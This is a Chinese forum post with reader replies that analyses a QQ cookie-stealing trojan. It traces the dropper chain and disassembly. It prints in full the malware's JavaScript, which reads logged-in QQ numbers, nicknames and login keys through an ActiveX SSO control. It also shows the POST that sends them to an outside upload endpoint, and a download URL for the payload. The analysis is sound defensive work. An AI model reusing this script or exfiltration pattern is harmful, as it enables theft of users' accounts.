Tenfinder投放的盗qq cookie木马分析
本帖最后由 L4Nce 于 2014-1-20 15:54 编辑昨天晚上看到Tenfinder被ban了,一看原来是投放木马了。情节十分恶劣,大家引以为戒。
盗取qq cookie使用什么手法我并不清楚,想通过分析这个木马分析出其手段。
由于帖子被删,我找了我的导师chief要了一份样本。
接下来是流程。
首先释放Adobe Flash Player Utility.exe
然后下载hummer.exe(hXXp://bcs.duapp.com/backfire0/hummer.exe)
改名为System.exe
接着System.exe再把System64.exe文件释放出来
System64.exe应该有两层壳可用esp定律脱之。
System64.MD5 : 48BF006DE2AC8C6835C552BEF4746C38
System64_dump.MD5 : 55387E2684B8D3B96F110D7C8CC9748C
根据图标和代码很容易判断为易语言,一看易语言查看下字符串。
发现几个关键位置。
0040130C push System64.004684B5 &system=
00401314 push System64.004684BE &address=
0040131E push System64.004684C8 &clientkey=
00401328 push System64.004684D4 &nickname=
00401332 push System64.004684DF number=
0040134B mov eax,System64.004684E7 POST
00401357 mov eax,System64.004684EC http://api.iobeta.cn/upload.php
http://xui.ptlogin2.qq.com/cgi-bin/qlogin
在字符串处设置好断点
看来是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin。
下个send断点。盯着发送的数据
首先访问了金山下面的一个一个查询ip归属地的网址。
接下来断到了这里
00402870 68 00000000 push 0x0
00402875 68 00000000 push 0x0
0040287A 68 00000000 push 0x0
0040287F 68 00000000 push 0x0
00402884 68 00000000 push 0x0
00402889 68 00000000 push 0x0
0040288E 68 00000000 push 0x0
00402893 68 01874600 push System64.00468701 ; http://xui.ptlogin2.qq.com/cgi-bin/qlogin
00402898 68 2B874600 push System64.0046872B ; AtlAxWin
0040289D 68 00000000 push 0x0
004028A2 B8 04000000 mov eax,0x4
004028A7 E8 240A0000 call System64.004032D0
004028AC 3965 E4 cmp dword ptr ss:,esp
易语言一大特点就是有很深的封装,无法直接发现调用了什么api。
我们 call System64.004032D0进到这个call里面。
0041301C 6A 3A push 0x3A
0041301E 56 push esi
0041301F E8 7C770300 call System64.0044A7A0 ; 载入user32.dll
00413024 8B2D A0724600 mov ebp,dword ptr ds:[<&kernel32.LoadLib>; kernel32.LoadLibraryA
0041302A 83C4 08 add esp,0x8
0041302D 85C0 test eax,eax
00413107 8B4C24 10 mov ecx,dword ptr ss:
0041310B 51 push ecx ; 获取函数CreateWindowExA的地址
0041310C 56 push esi ; user32.77D10000
0041310D FF15 58734600 call dword ptr ds:[<&kernel32.GetProcAdd>; kernel32.GetProcAddress
00413113 85DB test ebx,ebx
00416050 50 push eax
00416051 E8 DAFFFFFF call System64.00416030
00416056 83C4 04 add esp,0x4
00416059- FFE0 jmp eax ; user32.CreateWindowExA调用之
接下在CreateWindowExA出下段看他干了些什么
出现了一个窗体类"URL Moniker Notification Window"
我不太清楚这个窗体类"URL Moniker Notification Window"是干什么的,问了下朋友
说是webbrowser控件 用web界面来做软件的界面,还可以进行各种交互。和浏览器差不多。
我就把他理解为一个浏览器吧。看样子是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin
(清楚的大牛可以告诉我一下)
接下来到了这里
00402A39 68 04000080 push 0x80000004
00402A3E 6A 00 push 0x0
00402A40 68 5C874600 push System64.0046875C ; JavaScript
00402A45 68 04000080 push 0x80000004
00402A4A 6A 00 push 0x0
00402A4C 68 67874600 push System64.00468767 ;js代码
00402A51 68 04000080 push 0x80000004
00402A56 6A 00 push 0x0
00402A58 68 5F8A4600 push System64.00468A5F ; execScript
00402A5D 68 30000100 push 0x10030 ; UNICODE "C:\Documents and Settings\All Users"
00402A62 6A 00 push 0x0
00402A64 FF75 E0 push dword ptr ss:
执行了一段js
document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
我的js水平还停留在会用alert阶段,不过看函数名是用来获取key的。
由于我是在虚拟机中调试的没有QQ cookie可以改一下js代码
00402B1E 83C4 04 add esp,0x4
00402B21 6A 00 push 0x0
00402B23 6A 00 push 0x0
00402B25 6A 00 push 0x0
00402B27 68 04000080 push 0x80000004
00402B2C 6A 00 push 0x0
00402B2E 68 6F8A4600 push System64.00468A6F ; innerText
00402B33 68 30000100 push 0x10030 ; UNICODE "C:\Documents and Settings\All Users"
00402B38 6A 00 push 0x0
00402B3A FF75 E0 push dword ptr ss:
00402B3D 68 03000000 push 0x3
00402B42 BB D0404000 mov ebx,System64.004040D0
00402B47 E8 72070000 call System64.004032BE
00402B4C 83C4 28 add esp,0x28
此处获得document.body.innerHTML的值
00402B77 6A 00 push 0x0
00402B79 6A 00 push 0x0
00402B7B 68 04000080 push 0x80000004
00402B80 6A 00 push 0x0
00402B82 68 798A4600 push System64.00468A79 ; ;
00402B87 68 04000080 push 0x80000004
00402B8C 6A 00 push 0x0
00402B8E 8B45 DC mov eax,dword ptr ss:
00402B91 85C0 test eax,eax
00402B93 75 05 jnz XSystem64.00402B9A
00402B95 B8 B4844600 mov eax,System64.004684B4
00402C45 6A 00 push 0x0
00402C47 6A 00 push 0x0
00402C49 6A 00 push 0x0
00402C4B 68 04000080 push 0x80000004
00402C50 6A 00 push 0x0
00402C52 68 7B8A4600 push System64.00468A7B ; |
00402C57 68 04000080 push 0x80000004
00402C5C 6A 00 push 0x0
00402C5E 8B5D E4 mov ebx,dword ptr ss:
00402C61 8B03 mov eax,dword ptr ds:
00402C63 85C0 test eax,eax
00402C65 75 05 jnz XSystem64.00402C6C
分别检测;和 |
看来qq cookie中有这两个符号了
那么我们用这个木马提供的方法来看看qq cookie张什么样。
先访问
http://xui.ptlogin2.qq.com/cgi-bin/qlogin
然后执行js
我改了一下代码
加了一句
alert(GetuinKey());
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g++){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y++){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
果然爆出了key,三部分构成
qq|昵称|key;
看来木马检测|是为了获取各部分的信息
那么就好办了我改一下js代码,在虚拟机中伪造一个key
00402CFF 6A 04 push 0x4
00402D01 B8 02000000 mov eax,0x2
00402D06 E8 A1050000 call System64.004032AC
00402D0B 83C4 08 add esp,0x8
00402D0E 8B5D E4 mov ebx,dword ptr ss:
00402D11 8B03 mov eax,dword ptr ds:;获得第一部分
00402D13 8945 E0 mov dword ptr ss:,eax
00402D16 8B5D 10 mov ebx,dword ptr ss:
00402D19 8B1B mov ebx,dword ptr ds:
00402D1B 895D DC mov dword ptr ss:,ebx
00402DB1 83C4 08 add esp,0x8
00402DB4 8B5D E4 mov ebx,dword ptr ss:
00402DB7 8B03 mov eax,dword ptr ds:;获取第二部分
00402DB9 8945 E0 mov dword ptr ss:,eax
00402DBC 8B5D 08 mov ebx,dword ptr ss:
00402DBF 8B1B mov ebx,dword ptr ds:
00402DC1 895D DC mov dword ptr ss:,ebx
00402E57 83C4 08 add esp,0x8
00402E5A 8B5D E4 mov ebx,dword ptr ss:
00402E5D 8B03 mov eax,dword ptr ds:;获取第三部分
00402E5F 8945 E0 mov dword ptr ss:,eax
00402E62 8B5D 18 mov ebx,dword ptr ss:
00402E65 8B1B mov ebx,dword ptr ds:
00402E67 895D DC mov dword ptr ss:,ebx
对每一部分都进行检测,要是检测失败eax返回0,不然返回1
0040123A 890B mov dword ptr ds:,ecx
0040123C 50 push eax
0040123D 3BC8 cmp ecx,eax
0040123F 0F8F 6A010000 jg System64.004013AF;不匹配
0040125E 68 B4844600 push System64.004684B4
00401263 8B5D E4 mov ebx,dword ptr ss:
00401266 FF33 push dword ptr ds:
00401268 E8 97FDFFFF call System64.00401004
0040126D 83C4 08 add esp,0x8
00401270 83F8 00 cmp eax,0x0
00401273 0F84 3B000000 je System64.004012B4 ;检测qq 号部分是否为空。
00401309 FF75 FC push dword ptr ss:
0040130C 68 B5844600 push System64.004684B5 ; &system=
00401311 FF75 F8 push dword ptr ss:
00401314 68 BE844600 push System64.004684BE ; &address=
00401319 8B5D DC mov ebx,dword ptr ss:
0040131C FF33 push dword ptr ds:
0040131E 68 C8844600 push System64.004684C8 ; &clientkey=
00401323 8B5D E0 mov ebx,dword ptr ss:
00401326 FF33 push dword ptr ds:
00401328 68 D4844600 push System64.004684D4 ; &nickname=
0040132D 8B5D E4 mov ebx,dword ptr ss:
00401330 FF33 push dword ptr ds:
00401332 68 DF844600 push System64.004684DF ; number=
00401337 B9 0A000000 mov ecx,0xA
0040133C E8 CBFDFFFF call System64.0040110C
00401341 83C4 28 add esp,0x28
00401344 8945 D8 mov dword ptr ss:,eax
00401347 8D45 D8 lea eax,dword ptr ss:
0040134A 50 push eax
0040134B B8 E7844600 mov eax,System64.004684E7 ; POST
00401350 8945 D4 mov dword ptr ss:,eax
00401353 8D45 D4 lea eax,dword ptr ss:
00401356 50 push eax
00401357 B8 EC844600 mov eax,System64.004684EC ; http://api.iobeta.cn/upload.php
0040135C 8945 D0 mov dword ptr ss:,eax
0040135F 8D45 D0 lea eax,dword ptr ss:
00401362 50 push eax
00401363 E8 5E090000 call System64.00401CC6 ;填写完毕发送
发送完毕后再建立一个bat删除自身
0040309F 83C4 04 add esp,0x4
004030A2 8945 F4 mov dword ptr ss:,eax
004030A5 68 7F8A4600 push System64.00468A7F
004030AA FF75 F4 push dword ptr ss:
004030AD 68 8D8A4600 push System64.00468A8D
004030B2 FF75 FC push dword ptr ss:
004030B5 68 A18A4600 push System64.00468AA1
004030BA FF75 FC push dword ptr ss:
004030BD 68 AD8A4600 push System64.00468AAD
004030C2 B9 07000000 mov ecx,0x7
004030C7 E8 40E0FFFF call System64.0040110C
补上获取系统版本地方
004011CC AD lods dword ptr ds:
004011CD AB stos dword ptr es:
004011CE AD lods dword ptr ds:
004011CF AB stos dword ptr es:
004011D0 C745 E8 0000000>mov dword ptr ss:,0x0
004011D7 E8 DA020000 call System64.004014B6;获取版本
004011DC 8945 E4 mov dword ptr ss:,eax ; System64.00468550
004011DF 8B45 E4 mov eax,dword ptr ss:
窃取过程基本就是这样,分析的比较笼统:一是易语言的封装分析起来很让我头大,二是自己经验方面的问题。
分析过程中不免有所疏忽,还请大家指正。
怎么说呢,都是高手对于我这样的菜鸟有得学的啦
厉害 分析呢?{:1_904:} txke 发表于 2014-1-20 15:07 static/image/common/back.gif
分析呢?
论坛这边出bug了,抢救中
@L4Nce把发帖框右侧的“禁用链接识别”勾选上,然后JS用代码框加上,再试试,禁用连接识别后最好重新粘贴下内容,不然可能还会出现问题。
两段JS有问题,换下格式发 终于看到了.
这么好的分析
感谢分享
唔,说得还是很清楚的,加精鼓励,希望赖斯多多发分析文章和大家交流 {:301_992:}好屌!!! 好东西..学习了 太厉害了。。。